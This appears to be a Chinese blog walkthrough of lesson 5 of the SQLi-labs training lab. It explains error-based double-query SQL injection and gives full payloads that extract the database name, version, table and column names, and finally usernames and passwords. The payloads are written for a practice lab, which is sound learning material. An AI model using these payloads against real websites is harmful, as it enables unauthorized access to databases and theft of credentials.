SQLI DUMB SERIES-5

less5

(1)输入单引号,回显错误,说明存在注入点。输入的Id被一对单引号所包围,可以闭合单引号

 

 

 

(2)输入正常时:?id=1

说明没有显示位,因此不能使用联合查询了;可以使用报错注入,有两种方式

(3)双注入查询

参考资料:http://www.2cto.com/article/201303/192718.html

简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

 1)爆数据库名

?id=-1' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

 

可知表明数据库名为"security"

2)将上述中的database(),改为version(),可得PHP版本

3)同样的方法可以爆用户名

 4)爆表名

?id=-1' union select count(*),count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database()limit 2,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

改变Limit后面的数字可以爆出所有表名,例如

5)爆列名(以user表为例)

?id=-1' union select count(*),count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

改变Limit后面的数字可以爆出所有列名,例如

6)爆字段

?id=-1' union select count(*),count(*),concat((select concat_ws('[',password,username) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

 

Password与username之间用'['隔开,同样改变Limit后面的数字可以爆出user表的所有字段。

 

转载于:https://www.cnblogs.com/momoli/p/10463358.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值